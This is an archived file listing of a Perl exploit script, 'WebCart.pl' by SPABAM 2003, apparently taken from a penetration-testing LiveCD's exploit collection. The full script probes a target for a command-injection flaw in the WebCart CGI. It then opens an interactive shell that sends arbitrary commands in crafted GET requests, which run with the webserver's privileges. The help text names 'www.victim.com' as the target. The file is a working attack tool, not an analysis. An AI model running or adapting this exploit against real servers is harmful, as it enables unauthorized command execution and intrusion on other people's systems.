home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webapp / webcart / WebCart.pl < prev   
Text File  |  2005-02-12  |  4KB  |  173 lines

  1. #####################################################
  2. # WebCart exploit
  3. # Spawn bash style Shell with webserver uid
  4. #
  5. # Spabam 2003 PRIV8 code
  6. # #hackarena irc.brasnet.org
  7. # This Script is currently under development
  8. #####################################################
  9. use strict;
  10. use IO::Socket;
  11. my $host;
  12. my $port;
  13. my $command;
  14. my $url;
  15. my @results;
  16. my $probe;
  17. my @U;
  18. my $shit;
  19. $U[1] = "/cgi-bin/webcart/webcart.cgi?CONFIG=mountain&CHANGE=YES&NEXTPAGE=;";
  20. &intro;
  21. &scan;
  22. &choose;
  23. &command;
  24. &exit;
  25. sub intro {
  26. &help;
  27. &host;
  28. &server;
  29. sleep 3;
  30. };
  31. sub host {
  32. print "\nHost or IP : ";
  33. $host=<STDIN>;
  34. chomp $host;
  35. if ($host eq ""){$host="127.0.0.1"};
  36. $shit="|&CODE=PHOLD";
  37. $port="80";
  38. chomp $port;
  39. if ($port =~/\D/ ){$port="80"};
  40. if ($port eq "" ) {$port = "80"};
  41. };
  42. sub server {
  43. my $X;
  44. print "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n";
  45. $probe = "string";
  46. my $output;
  47. my $webserver = "something";
  48. &connect;
  49. for ($X=0; $X<=10; $X++){
  50.     $output = $results[$X];
  51.     if (defined $output){
  52.     if ($output =~/Apache/){ $webserver = "Apache" };
  53.     };
  54. };
  55. if ($webserver ne "Apache"){
  56. my $choice = "y";
  57. chomp $choice;
  58. if ($choice =~/N/i) {&exit};
  59.             }else{
  60. print "\n\nOK";
  61.     };        
  62. };  
  63. sub scan {
  64. my $status = "not_vulnerable";
  65. print "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n";
  66. my $loop;
  67. my $output;
  68. my $flag;
  69. $command="dir";
  70. for ($loop=1; $loop < @U; $loop++) { 
  71. $flag = "0";
  72. $url = $U[$loop];
  73. $probe = "scan";
  74. &connect;
  75. foreach $output (@results){
  76. if ($output =~ /Directory/) {
  77.                               $flag = "1";
  78.                   $status = "vulnerable";
  79.                   };
  80.     };
  81. if ($flag eq "0") { 
  82. }else{
  83.      };
  84. };
  85. if ($status eq "not_vulnerable"){
  86.  
  87.                 };
  88. };
  89. sub choose {
  90. my $choice="0";
  91. chomp $choice;
  92. if ($choice > @U){ &choose };
  93. if ($choice =~/\D/g ){ &choose };
  94. if ($choice == 0){ &other };
  95. $url = $U[$choice];
  96. };
  97. sub other {
  98. my $other = "/cgi-bin/webcart/webcart.cgi?CONFIG=mountain&CHANGE=YES&NEXTPAGE=;";
  99. chomp $other;
  100. $U[0] = $other;
  101. };
  102. sub command {
  103. while ($command !~/quit/i) {
  104. print "\n[$host]\$ ";
  105. $command = <STDIN>;
  106. chomp $command;
  107. if ($command =~/quit/i) { &exit };
  108. if ($command =~/url/i) { &choose }; 
  109. if ($command =~/scan/i) { &scan };
  110. if ($command =~/help/i) { &help };
  111. $command =~ s/\s/+/g; 
  112. $probe = "command";
  113. if ($command !~/quit|url|scan|help/) {&connect};
  114. };
  115. &exit;
  116. };  
  117. sub connect {
  118. my $connection = IO::Socket::INET->new (
  119.                 Proto => "tcp",
  120.                 PeerAddr => "$host",
  121.                 PeerPort => "$port",
  122.                 ) or die "\nSorry UNABLE TO CONNECT To $host On Port $port.\n";
  123. $connection -> autoflush(1);
  124. if ($probe =~/command|scan/){
  125. print $connection "GET $url$command$shit HTTP/1.0\r\n\r\n";
  126. }elsif ($probe =~/string/) {
  127. print $connection "HEAD / HTTP/1.0\r\n\r\n";
  128. };
  129.  
  130. while ( <$connection> ) { 
  131.             @results = <$connection>;
  132.              };
  133. close $connection;
  134. if ($probe eq "command"){ &output };
  135. if ($probe eq "string"){ &output };
  136. };  
  137. sub output{
  138. my $display;
  139. if ($probe eq "string") {
  140.             my $X;
  141.             for ($X=0; $X<=10; $X++) {
  142.             $display = $results[$X];
  143.             if (defined $display){print "$display";};
  144.             sleep 1;
  145.                 };
  146.             }else{
  147.             foreach $display (@results){
  148.                 print "$display";
  149.                 sleep 1;
  150.                 };
  151.                           };
  152. };  
  153. sub exit{
  154. print "\n\n\n
  155. SPABAM 2003.";
  156. print "\n\n\n";
  157. exit;
  158. };
  159. sub help {
  160. print "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n";
  161. print "\n
  162.         WebCart.pl v1.0 by SPABAM 2003";
  163. print "\n
  164. ";
  165. print "\n WebCart Exploit";
  166. print "\n 
  167.  
  168. note.. web directory is normally /var/www/html";
  169. print "\n";
  170. print "\n Host: www.victim.com or xxx.xxx.xxx.xxx (RETURN for 127.0.0.1)";
  171. print "\n\n\n\n\n\n\n\n\n\n\n\n";
  172. };
  173.